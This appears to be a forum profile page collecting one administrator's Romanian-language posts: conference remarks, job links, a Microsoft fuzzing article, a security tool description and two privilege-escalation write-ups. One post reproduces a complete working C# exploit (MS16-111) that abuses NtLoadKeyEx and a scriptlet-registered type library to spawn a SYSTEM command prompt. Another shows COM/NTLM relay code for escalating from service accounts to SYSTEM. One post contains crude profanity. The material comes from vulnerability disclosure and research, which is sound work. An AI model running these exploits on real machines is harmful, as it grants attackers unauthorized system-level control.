Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    707

Everything posted by Nytro

  1. Va abateti de la subiect, creati un topic separat si se poate discuta in voie.
  2. Buna idee, thanks! Si da, trebuie sa creez un nou thread, sa incerc sa nu crap procesul, in caz de fail la shellcode.
  3. Shellcode Compiler Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way. Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with NASM (http://www.nasm.us/). Shellcode compiler was released at DefCamp security conference in Romania, November 2016. Link: https://github.com/NytroRST/ShellcodeCompiler
  4. Pentru cei pasionati de CTF-uri, va recomand la Defcamp: https://def.camp/hacking-village/#ariadnes-thread
  5. E de la tine, baga-i benzina de calitate.
  6. PHP 7 was released on 03 Dec 2015, and so many people have not yet started using or learning about the awesome features it has. I wrote this post to give a breakdown of the features released with PHP 7 for those that have not yet learnt about them and even if you know it, you might still learn something from this post. Rasmus Lerdorf(creator of PHP) claims that apps running PHP 7 performance is improved by 100% or more. Memory usage is lower also, so if you are running a lot of servers, PHP 7 is an essential upgrade. One of the big changes in PHP 7 is the refactored ZEND Engine(PHPNG) which is now faster, memory usage reduced and a “green” version of PHP which makes you run less hardware to run your code. Link: http://chikemgbemena.com/2016/10/29/php-7-in-depth-look/
  7. Editia de anul acesta e undeva la mijloc. Mai exact, in SUA avem: 1. Blackhat - Comerciala, sponsori, bilete scumpe, prezentari "premium", adresata companiilor 2. Defcon - Prietenoasa, numar imens de participanti, pret foarte mic al biletelor, prezentari foarte bune, adresata tuturor Cred ca dupa acest an va trebui sa decizi incotro vrei sa mearga Defcamp-ul. Va fi dificil sa mergi in directia Blackhat, dat fiind faptul ca suntem in Romania. Hmm, exista insa posibilitatea sa fie undeva la mijloc si aceasta ar putea fi varianta castigatoare.
  8. Pacat ca nu prea se mai posteaza lucruri utile O sa revin si eu dupa Defcamp.
  9. Ma fut pe chat-ul vostru. Nu intereseaza pe nimeni ce se intampla acolo, e ca in jungla: va injurati, puneti poze cu shemale, va cacati, nu ne pasa. In schimb, vrem ca forumul sa fie curat. Deci fara discutii legate de chat pe forum.
  10. Util, mie imi place http://www.ntcore.com/exsuite.php
  11. Cateva job-uri selectate: SecureWorks jobs: Penetration Testing Specialist - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/penetration-testing-specialist-secureworks-91385 Vulnerability Specialist - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/vulnerability-specialist-85444 Linux System Administrator - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/linux-system-administrator-secureworks-89426 Application Support Engineer - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/application-support-engineer-secureworks-95175 Information Security Risk Management Advisor - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/information-security-risk-management-advisor-dell-secureworks-95997 Data Loss Prevention Advisor - Dell SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/data-loss-prevention-advisor-secureworks-90261 Dell jobs: Technical Support Agent - English: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/technical-support-agent-english-95886 Software Development Expert - Java: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/java-developer-german-speaking-90046 Software Development Senior Specialist - .NET and Oracle: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/.net-senior-software-developer-internal-it-90723 Senior Database Admin: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senior-database-admin-97106 Incident Management Advisor: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/incident-management-advisor-92485 All jobs: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/search/6283331
  12. https://def.camp/speakers/ionut-popescu-3/
  13. yUuuuuhuuuuuu <3
  14. Prea simplu, mai fun pentru Chrome.
  15. OWASP Bucharest AppSec Conference 2016 - October 6th
  16. Microsoft previews Project Springfield, a cloud-based bug detector David Molnar, left, and Patrice Godefroid, right, are two of the key researchers behind Project Springfield. (Photography by Scott Eklund/Red Box Pictures) Posted September 26, 2016 By Allison Linn Microsoft is making available to its customers one of the most sophisticated tools it has for rooting out potential security vulnerabilities in software including Windows, Office and other products. The offering is code named Project Springfield, and up until now, the team that built it has thought of it as the million-dollar bug detector. That’s because every time the system finds a potentially serious bug proactively, before a piece of software is released, it is saving a developer the costly effort of having to release a patch reactively, once the product is already public. With widely used software such as an operating system or productivity suite, deploying those patches can cost as much as $1 million, the researchers say. Patrice Godefroid (Photography by Scott Eklund/Red Box Pictures) “Those are the bugs that hackers will try to use,” said Patrice Godefroid, a principal researcher at Microsoft who invented a key technology behind Project Springfield and is the project’s chief scientist. “The more we can find those bugs ourselves, the more we can fix them before we ship the software.” Microsoft announced a preview of Project Springfield on Monday at its Ignite technology conference in Atlanta. It has previously been testing the new cloud security service with a small number of customers and collaborators using software on a smaller scale than Windows and Office. The company itself has been using a key component of Project Springfield, called SAGE, since the mid-2000s, testing products including Windows 7 prior to release. Although the Windows 7 operating system code had already been checked by other, similar security tools, Godefroid said SAGE unearthed a number of additional vulnerabilities, eventually accounting for one-third of all the bugs this kind of security testing, which is called fuzz testing, discovered prior to the release. The team overseeing the fuzz testing was impressed. “There aren’t a lot of tools that can do what SAGE does,” said Mark Wodrich, a senior security engineer with Windows Defender Advanced Threat Protection. One tool in the security toolbox Fuzz testing is far from the only security measure developers use, but security experts say it’s an important one in the security development lifecycle. David Molnar, the Microsoft researcher who leads Project Springfield, said fuzz testing is ideal for software that regularly incorporate inputs such as documents, images, videos or other pieces of information that may not be trustworthy. Fuzz testing looks for vulnerabilities that could open the door for bad actors to launch malicious attacks or simply crash the system, causing delays and other problems. “These are the serious bugs that it’s worth investing to prevent,” Molnar said. Broadly speaking, fuzz testing works like this: The system throws random, unexpected inputs at a piece of software to look for instances in which those unforeseen actions cause the software to crash, signaling a security vulnerability. Project Springfield builds on that idea with what it calls “white box fuzz testing.” It uses artificial intelligence to ask a series of “what if” questions and make more sophisticated decisions about what might trigger a crash and signal a security concern. Each time it runs, it gathers data to hone in on the areas that are most critical. This more focused, intelligent approach makes it more likely that Project Springfield will find vulnerabilities other fuzzing tools might miss. David Molnar (Photography by Scott Eklund/Red Box Pictures) From software research to security product SAGE grew out of years of Microsoft’s basic research into formal methods, which are systems for reasoning about code to look for imperfections. As SAGE developed, the researchers were regularly publishing research papers detailing the advantages of their approach. That, in turn, drew the interest of security experts and other researchers who wanted to use the tool as well. “Customers had asked about it for years, but we’d never been able to offer it to them,” Molnar said. In order to make the software security tool available to a broader group of people with fewer resources and security expertise than the Windows and Office organizations, the researchers built Project Springfield. It bundles SAGE with other tools for fuzz testing and adds an easy-to-use dashboard and other interfaces that make it accessible for people without an extensive security background. Then, it runs its tests using an Azure cloud-based system, so individual clients don’t need to have data centers of their own. Finally, the results are delivered securely to the customers, so they can fix the bugs and test the code again. “It’s very simple to use – it’s ‘fire and forget,’” said Gavin Thomas, a principal security software engineering manager with the Microsoft Security Response Center. “You set it up and you walk away.” Thomas first used Project Springfield when a Microsoft customer came to him for help in looking for security vulnerabilities. Thomas said Project Springfield proved as easy to use as any app, and it was so effective at finding bugs that Thomas is in the process of implementing it in his own labs. That will save his expert security engineers the time of manually creating similar tools, allowing them to focus on other issues. The team behind Project Springfield includes, from left, Stas Tishkin, William Blum, Marc Griesen, Cheick Omar Keita, Dave Tamasi, David Molnar (seated) , Theresa Pacheco, Marina Polishchuk, Patrice Godefroid and Ram Nagaraja. (Photography by Scott Eklund/Red Box Pictures) Too many bugs, not enough security experts It turns out that Microsoft customer’s challenge wasn’t unusual. Project Springfield is being released at a time when many companies are facing a tough conundrum: Serious attacks on software are going up, but the supply of security engineers trained to fight those attacks is staying steady. That means plenty of companies can’t afford, or can’t find, the staff they need to do fuzz testing. They need an easier, more automated solution. “Most companies may not have a security engineer and wouldn’t even know what a fuzzer is,” Thomas said. It’s also coming at a time when many companies are revamping their systems to appeal to new digital tastes, adding mobile offerings, online sales or cloud-based services. Chad A. Holmes, a principal and cyber strategy, technology and growth leader for the professional services firm Ernst & Young LLP, said that means many companies need a system like Project Springfield, which has the cloud-based capacity to run a very high volume of security tests at the same time and root out the most critical concerns. “That’s one of the largest challenges they run into, the scale of testing these applications,” Holmes said. “That’s where a tool like Springfield comes in.” EY may offer Project Springfield as part of the security offerings it has for customers. Making beer and finding bugs For many companies, finding bugs is important not just because it can protect a company against hackers but also because it can save time and money. Take the craft beer brewer Deschutes Brewery, for example. If there’s a glitch in the software it uses for analytics, it can literally mean that money – or, in this case, beer – has to go down the drain. “The brewery doesn’t get a batch of beer back when something goes wrong,” said Bryan Owen, a cyber security manager with OSIsoft, which has been helping Deschutes build a system that can bring together data from multiple sources. “It’s just lost.” OSIsoft used Project Springfield to proactively look for bugs and other vulnerabilities as part of an overhaul of Deschutes’ analytics systems, which included installing its PI System,PI Integrator for Microsoft Azure, and deploying the Cortana Intelligence Suite. Deschutes Brewery’s brewmaster, Brian Faivre, said the new analytics systems have helped them figure out ways to make better beer, without having to worry about the technical details. “Our job is really focusing on quality and making beer,” Faivre said. “If, at the end of the day, this is helping us do a better job, that’s what we really value and we care about.” Peter Lee (Photography by Scott Eklund/Red Box Pictures) Beating the bad guys Project Springfield also has been developed at a time in which Microsoft researchers are getting more aggressive about quickly translating their groundbreaking research into tools customers can use. With Project Springfield, Peter Lee, the corporate vice president in charge of Microsoft Research’s New Experiences and Technologies organization, said the team was determined to make sure it was “literally rubbing elbows” with the clients who were participating in an early preview of the system, having regular, face-to-face meetings to make sure it would meet their security needs. “I actually view it as a collaboration,” he said. “In my mind, we’re doing the research together.” Lee said that type of collaboration between researchers and developers is especially important in the security field, because it’s so tough for the good guys in computer security to stay ahead of the bad guys. That’s because the bad guys have the tools, expertise and financial incentive to exploit vulnerabilities faster than the good guys can find them. He sees cloud-based tools like Project Springfield as a key tool in the good guys’ arsenal. “This is one of the areas where, finally, the good guys have an advantage,” he said. Sursa: https://blogs.microsoft.com/next/2016/09/26/microsoft-previews-project-springfield-cloud-based-bug-detector/#sm.001xkp83k12aoe5uqzo2o1ae0f0fz
      • 1
      • Upvote
  17. WSSAT - Web Service Security Assessment Tool Lydecker Black on 11:30 AM | Post sponsored by Netsparker Web Application Security Scanner WSSAT is an open source web service security scanning tool which provides a dynamic environment to add, update or delete vulnerabilities by just editing its configuration files. This tool accepts WSDL address list as input file and for each service, it performs both static and dynamic tests against the security vulnerabilities. It also makes information disclosure controls. With this tool, all web services could be analysed at once and the overall security assessment could be seen by the organization. Objectives of WSSAT are to allow organizations: Perform their web services security analysis at once See overall security assessment with reports Harden their web services WSSAT’s main capabilities include: Dynamic Testing: Insecure Communication - SSL Not Used Unauthenticated Service Method Error Based SQL Injection Cross Site Scripting XML Bomb External Entity Attack - XXE XPATH Injection Verbose SOAP Fault Message Static Analysis: Weak XML Schema: Unbounded Occurrences Weak XML Schema: Undefined Namespace Weak WS-SecurityPolicy: Insecure Transport Weak WS-SecurityPolicy: Insufficient Supporting Token Protection Weak WS-SecurityPolicy: Tokens Not Protected Information Leakage: Server or technology information disclosure WSSAT’s main modules are: Parser Vulnerabilities Loader Analyzer/Attacker Logger Report Generator The main difference of WSSAT is to create a dynamic vulnerability management environment instead of embedding the vulnerabilities into the code. This project has been developed as Term Project at Middle East Technical University (METU), Software Management master program. Download WSSAT Sursa: http://www.kitploit.com/2016/09/wssat-web-service-security-assessment.html
      • 1
      • Upvote
  18. Microsoft Windows 10 10586 (x32/x64) / 8.1 Update 2 - NtLoadKeyEx User Hive Attachment Point Privilege Escalation (MS16-111) /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=865 Windows: NtLoadKeyEx User Hive Attachment Point EoP Platform: Windows 10 10586 (32/64) and 8.1 Update 2, not tested Windows 7 Class: Elevation of Privilege Summary: The NtLoadKeyEx system call allows an unprivileged user to load registry hives outside of the \Registry\A hidden attachment point which can be used to elevate privileges. Description: Windows Vista and above support loading per-user registry hives. Normally calling NtLoadKeyEx would require Backup/Restore privileges to do this making it useless for the average user.. However per-user hives are permitted from a normal user. When calling the Win32 API RegLoadAppKey the hive is loaded under \Registry\A which is a hidden attachment key and doesn’t provide any obvious benefit from an EoP perspective (especially as the root name is a random GUID). However it turns out that you can load the per-user hive to any attachment point such as \Registry\User or \Registry\Machine. Interestingly this works even as a sandboxed user, so it would be an escape out of EPM/Edge/Bits of Chrome etc. So how can we exploit this? The simplest way I’ve found is to register the hive as the local system "Classes" key. This isn’t registered by default, however a quick inspection indicates that local system does indeed refer to this key when trying to access COM registration information. So by putting an appropriate registration in \Registry\User\S-1-5-18_Classes it will be loaded as a local system component and privileged execution is achieved. Proof of Concept: I’ve provided a PoC as a C# source code file. You need to compile it first. It uses the issue with NtLoadKeyEx to map a custom hive over the local system’s Classes key. It then registers a type library which is loaded when WinLogon is signaled. I signal WinLogon by locking the screen. It abuses the fact that registered type library paths when passed to LoadTypeLib can be a COM moniker. So I register a COM scriptlet moniker which will be bound when LoadTypeLib parses it, this causes a local scriptlet file to be executed which respawns the original binary to spawn an interactive command prompt. By doing it this way it works on 32 bit and 64 bit without any changes. Note that it doesn’t need to use the Lock Screen, just this was the first technique I found. Many system services are loading data out of the registry hive, it would just be a case of finding something which could be trivially triggered by the application. In any case imo the bug is the behaviour of NtLoadKeyEx, not how I exploit it. 1) Compile the C# source code file. 2) Execute the PoC executable as a normal user. 3) The PoC should lock the screen. You’ll need to unlock again (do not log out). 4) If successful a system level command prompt should be available on the user’s desktop when you unlock. Expected Result: You can’t create a per-user hive outside of the hidden attachment point. Observed Result: Well obviously you can. */ using Microsoft.Win32; using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Threading; namespace Poc_NtLoadKeyEx_EoP { class Program { [Flags] public enum AttributeFlags : uint { None = 0, Inherit = 0x00000002, Permanent = 0x00000010, Exclusive = 0x00000020, CaseInsensitive = 0x00000040, OpenIf = 0x00000080, OpenLink = 0x00000100, KernelHandle = 0x00000200, ForceAccessCheck = 0x00000400, IgnoreImpersonatedDevicemap = 0x00000800, DontReparse = 0x00001000, } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class UnicodeString { ushort Length; ushort MaximumLength; [MarshalAs(UnmanagedType.LPWStr)] string Buffer; public UnicodeString(string str) { Length = (ushort)(str.Length * 2); MaximumLength = (ushort)((str.Length * 2) + 1); Buffer = str; } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class ObjectAttributes : IDisposable { int Length; IntPtr RootDirectory; IntPtr ObjectName; AttributeFlags Attributes; IntPtr SecurityDescriptor; IntPtr SecurityQualityOfService; private static IntPtr AllocStruct(object s) { int size = Marshal.SizeOf(s); IntPtr ret = Marshal.AllocHGlobal(size); Marshal.StructureToPtr(s, ret, false); return ret; } private static void FreeStruct(ref IntPtr p, Type struct_type) { Marshal.DestroyStructure(p, struct_type); Marshal.FreeHGlobal(p); p = IntPtr.Zero; } public ObjectAttributes(string object_name) { Length = Marshal.SizeOf(this); if (object_name != null) { ObjectName = AllocStruct(new UnicodeString(object_name)); } Attributes = AttributeFlags.None; } public void Dispose() { if (ObjectName != IntPtr.Zero) { FreeStruct(ref ObjectName, typeof(UnicodeString)); } GC.SuppressFinalize(this); } ~ObjectAttributes() { Dispose(); } } [Flags] public enum LoadKeyFlags { None = 0, AppKey = 0x10, Exclusive = 0x20, Unknown800 = 0x800, } [Flags] public enum GenericAccessRights : uint { None = 0, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } public class NtException : ExternalException { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr GetModuleHandle(string modulename); [Flags] enum FormatFlags { AllocateBuffer = 0x00000100, FromHModule = 0x00000800, FromSystem = 0x00001000, IgnoreInserts = 0x00000200 } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int FormatMessage( FormatFlags dwFlags, IntPtr lpSource, int dwMessageId, int dwLanguageId, out IntPtr lpBuffer, int nSize, IntPtr Arguments ); [DllImport("kernel32.dll")] private static extern IntPtr LocalFree(IntPtr p); private static string StatusToString(int status) { IntPtr buffer = IntPtr.Zero; try { if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts, GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0) { return Marshal.PtrToStringUni(buffer); } } finally { if (buffer != IntPtr.Zero) { LocalFree(buffer); } } return String.Format("Unknown Error: 0x{0:X08}", status); } public NtException(int status) : base(StatusToString(status)) { } } public static void StatusToNtException(int status) { if (status < 0) { throw new NtException(status); } } [DllImport("ntdll.dll")] public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags, IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused); static string scriptlet_code = @"<?xml version='1.0'?> <package> <component id='giffile'> <registration description='Dummy' progid='giffile' version='1.00' remotable='True'> </registration> <script language='JScript'> <![CDATA[ new ActiveXObject('Wscript.Shell').exec('%CMDLINE%'); ]]> </script> </component> </package> "; public enum TokenInformationClass { TokenSessionId = 12 } [DllImport("ntdll.dll")] public static extern int NtClose(IntPtr handle); [DllImport("ntdll.dll", CharSet = CharSet.Unicode)] public static extern int NtOpenProcessTokenEx( IntPtr ProcessHandle, GenericAccessRights DesiredAccess, AttributeFlags HandleAttributes, out IntPtr TokenHandle); public sealed class SafeKernelObjectHandle : SafeHandleZeroOrMinusOneIsInvalid { public SafeKernelObjectHandle() : base(true) { } public SafeKernelObjectHandle(IntPtr handle, bool owns_handle) : base(owns_handle) { SetHandle(handle); } protected override bool ReleaseHandle() { if (!IsInvalid) { NtClose(this.handle); this.handle = IntPtr.Zero; return true; } return false; } } public enum TokenType { Primary = 1, Impersonation = 2 } [DllImport("ntdll.dll", CharSet = CharSet.Unicode)] public static extern int NtDuplicateToken( IntPtr ExistingTokenHandle, GenericAccessRights DesiredAccess, ObjectAttributes ObjectAttributes, bool EffectiveOnly, TokenType TokenType, out IntPtr NewTokenHandle ); public static SafeKernelObjectHandle DuplicateToken(SafeKernelObjectHandle existing_token) { IntPtr new_token; using (ObjectAttributes obja = new ObjectAttributes(null)) { StatusToNtException(NtDuplicateToken(existing_token.DangerousGetHandle(), GenericAccessRights.MaximumAllowed, obja, false, TokenType.Primary, out new_token)); return new SafeKernelObjectHandle(new_token, true); } } public static SafeKernelObjectHandle OpenProcessToken() { IntPtr new_token; StatusToNtException(NtOpenProcessTokenEx(new IntPtr(-1), GenericAccessRights.MaximumAllowed, AttributeFlags.None, out new_token)); using (SafeKernelObjectHandle ret = new SafeKernelObjectHandle(new_token, true)) { return DuplicateToken(ret); } } [DllImport("ntdll.dll")] public static extern int NtSetInformationToken( SafeKernelObjectHandle TokenHandle, TokenInformationClass TokenInformationClass, byte[] TokenInformation, int TokenInformationLength); public static void SetTokenSessionId(SafeKernelObjectHandle token, int session_id) { byte[] buffer = BitConverter.GetBytes(session_id); NtSetInformationToken(token, TokenInformationClass.TokenSessionId, buffer, buffer.Length); } static Tuple<EventWaitHandle, EventWaitHandle> GetEvents() { EventWaitHandle user_ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\ntloadkey_event_user_wait"); EventWaitHandle sys_ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\ntloadkey_event_sys_wait"); return new Tuple<EventWaitHandle, EventWaitHandle>(user_ev, sys_ev); } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } enum CreateProcessFlags { CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NEW_CONSOLE = 0x00000010, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_NO_WINDOW = 0x08000000, CREATE_PROTECTED_PROCESS = 0x00040000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_SEPARATE_WOW_VDM = 0x00000800, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_SUSPENDED = 0x00000004, CREATE_UNICODE_ENVIRONMENT = 0x00000400, DEBUG_ONLY_THIS_PROCESS = 0x00000002, DEBUG_PROCESS = 0x00000001, DETACHED_PROCESS = 0x00000008, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, INHERIT_PARENT_AFFINITY = 0x00010000 } [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] static extern bool CreateProcessAsUser( IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); static void SpawnInteractiveCmd(int sessionid) { Tuple<EventWaitHandle, EventWaitHandle> events = GetEvents(); Console.WriteLine("Got Events"); events.Item1.Set(); events.Item2.WaitOne(); SafeKernelObjectHandle token = OpenProcessToken(); SetTokenSessionId(token, sessionid); STARTUPINFO startInfo = new STARTUPINFO(); startInfo.cb = Marshal.SizeOf(startInfo); PROCESS_INFORMATION procInfo; CreateProcessAsUser(token.DangerousGetHandle(), null, "cmd.exe", IntPtr.Zero, IntPtr.Zero, false, CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref startInfo, out procInfo); } [DllImport("user32.dll")] static extern bool LockWorkStation(); static void DoExploit() { Console.WriteLine("{0}", Assembly.GetCallingAssembly().Location); Tuple<EventWaitHandle, EventWaitHandle> events = GetEvents(); string cmdline = String.Format(@"""{0}"" {1}", Assembly.GetCallingAssembly().Location.Replace('\\', '/'), Process.GetCurrentProcess().SessionId); string scriptlet_path = Path.GetFullPath("dummy.sct"); File.WriteAllText(scriptlet_path, scriptlet_code.Replace("%CMDLINE%", cmdline), Encoding.ASCII); Console.WriteLine("{0}", scriptlet_path); string scriptlet_url = "script:" + new Uri(scriptlet_path).AbsoluteUri; Console.WriteLine("{0}", scriptlet_url); string reg_name = @"\Registry\User\S-1-5-18_Classes"; string path = @"\??\" + Path.GetFullPath("dummy.hiv"); File.Delete("dummy.hiv"); ObjectAttributes KeyName = new ObjectAttributes(reg_name); ObjectAttributes FileName = new ObjectAttributes(path); SafeRegistryHandle keyHandle; StatusToNtException(NtLoadKeyEx(KeyName, FileName, LoadKeyFlags.AppKey, IntPtr.Zero, IntPtr.Zero, GenericAccessRights.GenericAll, out keyHandle, 0)); RegistryKey key = RegistryKey.FromHandle(keyHandle); RegistryKey typelib_key = key.CreateSubKey("TypeLib").CreateSubKey("{D597DEED-5B9F-11D1-8DD2-00AA004ABD5E}").CreateSubKey("2.0").CreateSubKey("0"); typelib_key.CreateSubKey("win32").SetValue(null, scriptlet_url); typelib_key.CreateSubKey("win64").SetValue(null, scriptlet_url); Console.WriteLine("Handle: {0} - Key {1} - Path {2}", keyHandle.DangerousGetHandle(), reg_name, path); Console.WriteLine("Lock screen and re-login."); LockWorkStation(); events.Item1.WaitOne(); typelib_key.DeleteSubKey("win32"); typelib_key.DeleteSubKey("win64"); File.Delete(scriptlet_path); typelib_key.Close(); key.Close(); events.Item2.Set(); } static void Main(string[] args) { try { if (args.Length > 0) { SpawnInteractiveCmd(int.Parse(args[0])); } else { DoExploit(); } } catch (Exception ex) { Console.WriteLine(ex.Message); } } } } Sursa: https://www.exploit-db.com/exploits/40429/?rss
      • 1
      • Upvote
  19. September 26, 2016 Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM By @breenmachine This past Friday, myself and my partner in crime, Chris Mallz (@vvalien1) spoke at DerbyCon about a project we’ve been working on for the last few months. For those interested in watching the talk, it’s online here and the code is available on the FoxGlove Security GitHub page. This blog post is going to dive into some of the technical details of our project in order to remediate @singe’s very accurate observation about our README file on Twitter: So without further delay… Overview As we mentioned a number of times throughout our talk, this work is derived directly from James Forshaw’s BlackHat talk and Google Project Zero research. I highly recommend reviewing both of these resources to anyone interested in pursuing this topic. The idea behind this vulnerability is simple to describe at a high level: Trick the “NT AUTHORITY\SYSTEM” account into authenticating via NTLM to a TCP endpoint we control. Man-in-the-middle this authentication attempt (NTLM relay) to locally negotiate a security token for the “NT AUTHORITY\SYSTEM” account. This is done through a series of Windows API calls. Impersonate the token we have just negotiated. This can only be done if the attackers current account has the privilege to impersonate security tokens. This is usually true of most service accounts and not true of most user-level accounts. Each of these steps are described in the following 3 sections. NTLM Relay to Local Negotiation NTLM relay from the local “NT AUTHORITY\SYSTEM” (we will just call it SYSTEM for brevity) account back to some other system service has been the theme for the Potato privilege escalation exploits. The first step is to trick the SYSTEM account into performing authentication to some TCP listener we control. In the original Hot Potato exploit, we did some complex magic with NBNS spoofing, WPAD, and Windows Update services to trick it into authenticating to us over HTTP. For more information, see the original blog post. Today, we’ll be discussing another method to accomplish the same end goal which James Forshaw discussed here. We’ll basically be tricking DCOM/RPC into NTLM authenticating to us. The advantage of this more complex method is that it is 100% reliable, consistent across Windows versions, and fires instantly rather than sometimes having to wait for Windows Update. Getting Started We’ll be abusing an API call to COM to get this all kicked off. The call is “CoGetInstanceFromIStorage” and to give you some context, here is the relevant code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static void BootstrapComMarshal() { IStorage stg = ComUtils.CreateStorage(); // Use a known local system service COM server, in this cast BITSv1 Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097"); TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666)); // ip and port MULTI_QI[] qis = new MULTI_QI[1]; qis[0].pIID = ComUtils.IID_IUnknownPtr; qis[0].pItf = null; qis[0].hr = 0; CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis); } I’m far from being an expert on COM. The “CoGetInstanceFromIStorage” call attempts to fetch an instance of the specified object from a location specified by the caller. Here we are telling COM we want an instance of the BITS object and we want to load it from 127.0.0.1 on port 6666. It’s actually a little more complex than that, because really we’re fetching the object from an “IStorage” object, not just passing a host/port directly. In the code above “TestClass” is actually an instance of an IStorage object in which we’ve replaced some bits and pieces to point back to “127.0.0.1:6666”. Man-In-The-Middle So, now we have COM trying to talk to us on port 6666 where we’ve spun up a local TCP listener. If we reply in the correct way, we have have COM (running as the SYSTEM account) try to perform NTLM authentication with us. COM is trying to talk to us using the RPC protocol. I’m not particularly fluent in RPC and wouldn’t be surprised if there were slight variations based on Windows versions. In order to avoid many headaches, we’re going to use a trick in order to craft our replies. What we will do is relay any packets we receive from COM on TCP port 6666, back to the local Windows RPC listener on TCP port 135. Since these packets we’re receiving are part of a valid RPC conversation, whatever version of Windows we are running will respond appropriately. We can then use these packets we receive back from Windows RPC on TCP 135 as templates for our replies to COM. If that’s not clear, the following shows the first few packets of this exchange in WireShark: Notice that the first packet we receive (packet #7) is incoming on port 6666 (our listener, this is COM talking to us). Next, we relay that same packet (packet #9) to RPC on TCP 135. Then in packet #11, we get a reply back from RPC (TCP 135), and in packet #13, we relay that reply to COM. We simply repeat this process until it’s time for NTLM authentication to occur. You can think of these initial packets as just setting the stage for the eventual NTLM auth. NTLM Relay and Local Token Negotiation Before we dive into the NTLM relay details, let’s look at it at a high level. The following is from our slide deck: On the left in blue are the packets that COM is going to send to us on TCP port 6666. On the right, in red, are the Windows API calls that we’re going to make using data that we pull out of those packets. Let’s look a little closer at the API calls on the right, since most people will not be familiar with them. In order to locally negotiate a security token using NTLM authentication, one must first call the function “AcquireCredentialsHandle” to get a handle to the data structure we will need. Next, we call “AcceptSecurityContext”, and the input to this function will be the NTLM Type 1 (Negotiate) message. The output will be an NTLM Type 2 (Challenge) message which is sent back to the client trying to authenticate, in this case, DCOM. When the client responds with an NTLM Type 3 (Authenticate) message, we then pass that to a second call to “AcceptSecurityContext” to complete the authentication process and get a token. Let’s look at the packet capture and break this all down… TYPE 1 (NEGOTIATE) PACKET After relaying a few packets between RPC and COM, eventually COM is going to try to initiate NTLM authentication with us by sending the NTLM Type 1 (Negotiate) message, as shown in packet #29 of the packet capture below: This is where things start to get interesting. Again, we relay this to RPC (on TCP 135), and RPC will reply with an NTLM Challenge. But there’s one more thing going on here that you don’t see in the packet capture. When we receive the NTLM Type 1 (Negotiate) message from COM, we rip out the NTLM section of the packet (as shown below), and use it to begin the process of locally negotiating a token: So, as discussed above, we call “AcquireCredentialsHandle”, and then “AcceptSecurityContext”, passing as input the NTLM Type 1 (Negotiate) message we pulled out of that packet. NTLM TYPE 2 (CHALLENGE) PACKET Recall that we forwarded the NTLM Type 1 